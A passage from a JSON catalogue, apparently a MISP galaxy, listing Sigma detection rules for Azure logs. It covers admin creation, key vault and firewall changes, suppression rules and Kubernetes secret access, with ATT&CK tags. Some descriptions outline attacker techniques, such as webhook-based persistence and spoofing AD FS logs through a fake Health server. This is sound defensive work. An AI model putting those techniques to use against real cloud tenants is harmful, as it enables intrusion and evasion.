          "dest-uuid": "ebb42bbe-62d7-47d7-a55f-3b08b61d792d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9494bff8-959f-4440-bbce-fb87a208d517",
      "value": "Changes to Device Registration Policy"
    },
    {
      "description": "Detects when a new admin is created.",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton",
        "creation_date": "2022/08/11",
        "falsepositive": [
          "A legitimate new admin account being created"
        ],
        "filename": "azure_privileged_account_creation.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_privileged_account_creation.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947",
      "value": "Privileged Account Creation"
    },
    {
      "description": "Monitor and alert on group membership removal of groups that have CA policy modification access",
      "meta": {
        "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'",
        "creation_date": "2022/08/04",
        "falsepositive": [
          "User removed from the group is approved"
        ],
        "filename": "azure_group_user_removal_ca_modification.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_group_user_removal_ca_modification.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1548",
          "attack.t1556"
        ]
      },
      "related": [
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c",
      "value": "User Removed From Group With CA Policy Modification Access"
    },
    {
      "description": "Detects when end user consent is blocked due to risk-based consent.",
      "meta": {
        "author": "Bailey Bercik '@baileybercik', Mark Morowczynski '@markmorow'",
        "creation_date": "2022/07/10",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "azure_app_end_user_consent_blocked.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-applications#end-user-stopped-due-to-risk-based-consent",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/audit_logs/azure_app_end_user_consent_blocked.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1528"
        ]
      },
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        {
          "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
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      "uuid": "7091372f-623c-4293-bc37-20c32b3492be",
      "value": "End User Consent Blocked"
    },
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      "description": "Identifies when a service principal is created in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "Service principal being created may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_service_principal_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_created.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3",
      "value": "Azure Service Principal Created"
    },
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      "description": "Identifies when a key vault is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Key Vault being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_keyvault_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_modified_or_deleted.yml"
        ],
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          "attack.impact",
          "attack.credential_access",
          "attack.t1552",
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        ]
      },
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        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
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          ],
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        },
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
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        }
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      "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d",
      "value": "Azure Key Vault Modified or Deleted"
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      "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.",
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        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_firewall_rule_collection_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_rule_collection_modified_or_deleted.yml"
        ],
        "tags": [
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          "attack.t1562.004"
        ]
      },
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        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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          ],
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        }
      ],
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      "value": "Azure Firewall Rule Collection Modified or Deleted"
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      "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/25",
        "falsepositive": [
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          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_admission_controller.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_admission_controller.yml"
        ],
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          "attack.persistence",
          "attack.t1078",
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          "attack.t1552",
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      },
      "related": [
        {
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        },
        {
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          ],
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        },
        {
          "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436",
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          ],
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      "value": "Azure Kubernetes Admission Controller"
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    {
      "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.",
      "meta": {
        "author": "sawwinnnaung",
        "creation_date": "2020/05/07",
        "falsepositive": [
          "Valid change"
        ],
        "filename": "azure_rare_operations.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_rare_operations.yml"
        ],
        "tags": [
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488",
      "value": "Rare Subscription-level Operations In Azure"
    },
    {
      "description": "Identifies when a application gateway is modified or deleted.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Application gateway being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Application gateway modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_application_gateway_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_gateway_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "ad87d14e-7599-4633-ba81-aeb60cfe8cd6",
      "value": "Azure Application Gateway Modified or Deleted"
    },
    {
      "description": "Identifies when a application security group is modified or deleted.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Application security group being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Application security group modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_application_security_group_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_security_group_modified_or_deleted.yml"
        ],
        "tags": [
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        ]
      },
      "uuid": "835747f1-9329-40b5-9cc3-97d465754ce6",
      "value": "Azure Application Security Group Modified or Deleted"
    },
    {
      "description": "Identifies the deletion of Azure Kubernetes Pods.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_pods_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml",
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_pods_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "b02f9591-12c3-4965-986a-88028629b2e1",
      "value": "Azure Kubernetes Pods Deleted"
    },
    {
      "description": "Identifies when a device or device configuration in azure is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Device or device configuration being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_device_or_configuration_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_or_configuration_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485",
          "attack.t1565.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "46530378-f9db-4af9-a9e5-889c177d3881",
      "value": "Azure Device or Configuration Modified or Deleted"
    },
    {
      "description": "Identifies when a application is deleted in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Application being deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Application deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_application_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_application_deleted.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "410d2a41-1e6d-452f-85e5-abdd8257a823",
      "value": "Azure Application Deleted"
    },
    {
      "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/26",
        "falsepositive": [
          "If this was approved by System Administrator."
        ],
        "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_subscription_permissions_elevation_via_activitylogs.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1078.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95",
      "value": "Azure Subscription Permission Elevation Via ActivityLogs"
    },
    {
      "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_network_firewall_rule_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_rule_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067",
      "value": "Azure Firewall Rule Configuration Modified or Deleted"
    },
    {
      "description": "Detects when a Azure Kubernetes Cluster is created or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
        "falsepositive": [
          "Kubernetes cluster being created or  deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_kubernetes_cluster_created_or_deleted.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes",
          "https://attack.mitre.org/matrices/enterprise/cloud/",
          "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
          "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/",
          "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_cluster_created_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808",
      "value": "Azure Kubernetes Cluster Created or Deleted"
    },
    {
      "description": "Identifies when a network security configuration is modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_network_security_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_security_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df",
      "value": "Azure Network Security Configuration Modified or Deleted"
    },
    {
      "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.",
      "meta": {
        "author": "sawwinnnaung",
        "creation_date": "2020/05/07",
        "falsepositive": [
          "Valid change"
        ],
        "filename": "azure_creating_number_of_resources_detection.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_creating_number_of_resources_detection.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192",
      "value": "Number Of Resource Creation Or Deployment Activities"
    },
    {
      "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/08",
        "falsepositive": [
          "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_network_virtual_device_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_virtual_device_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3",
      "value": "Azure Virtual Network Device Modified or Deleted"
    },
    {
      "description": "Identifies when a Firewall Policy is Modified or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_network_firewall_policy_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_firewall_policy_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.defense_evasion",
          "attack.t1562.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23",
      "value": "Azure Network Firewall Policy Modified or Deleted"
    },
    {
      "description": "Identifies when a service principal was removed in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Service principal being removed may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_service_principal_removed.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_service_principal_removed.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08",
      "value": "Azure Service Principal Removed"
    },
    {
      "description": "Identifies when a new cloudshell is created inside of Azure portal.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/09/21",
        "falsepositive": [
          "A new cloudshell may be created by a system administrator."
        ],
        "filename": "azure_new_cloudshell_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_new_cloudshell_created.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb",
      "value": "Azure New CloudShell Created"
    },
    {
      "description": "Identifies when a application credential is modified.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/02",
        "falsepositive": [
          "Application credential added may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Application credential added from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_app_credential_modification.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://www.cloud-architekt.net/auditing-of-msi-and-service-principals/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_app_credential_modification.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "cdeef967-f9a1-4375-90ee-6978c5f23974",
      "value": "Azure Application Credential Modified"
    },
    {
      "description": "This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.\nA threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.\nThe health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "Legitimate AAD Health AD FS service instances being deleted in a tenant"
        ],
        "filename": "azure_aadhybridhealth_adfs_service_delete.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://o365blog.com/post/hybridhealthagent/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_service_delete.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1578.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "48739819-8230-4ee3-a8ea-e0289d1fb0ff",
      "value": "Azure Active Directory Hybrid Health AD FS Service Delete"
    },
    {
      "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "Suppression Rule being created may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_suppression_rule_created.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_suppression_rule_created.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401",
      "value": "Azure Suppression Rule Created"
    },
    {
      "description": "This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service.\nA threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server.\nThis can be done programmatically via HTTP requests to Azure.\n",
      "meta": {
        "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "Legitimate AD FS servers added to an AAD Health AD FS service instance"
        ],
        "filename": "azure_aadhybridhealth_adfs_new_server.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://o365blog.com/post/hybridhealthagent/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_aadhybridhealth_adfs_new_server.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1578"
        ]
      },
      "related": [
        {
          "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "288a39fc-4914-4831-9ada-270e9dc12cb4",
      "value": "Azure Active Directory Hybrid Health AD FS New Server"
    },
    {
      "description": "Identifies when a owner is was removed from a application or service principal in Azure.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Owner being removed may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "azure_owner_removed_from_application_or_service_principal.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6",
      "value": "Azure Owner Removed From Application or Service Principal"
    },
    {
      "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.",
      "meta": {
        "author": "sawwinnnaung",
        "creation_date": "2020/05/07",
        "falsepositive": [
          "Valid change"
        ],
        "filename": "azure_granting_permission_detection.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "azure",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_granting_permission_detection.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c",
      "value": "Granting Of Permissions To An Account"
    },
    {
      "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/07",
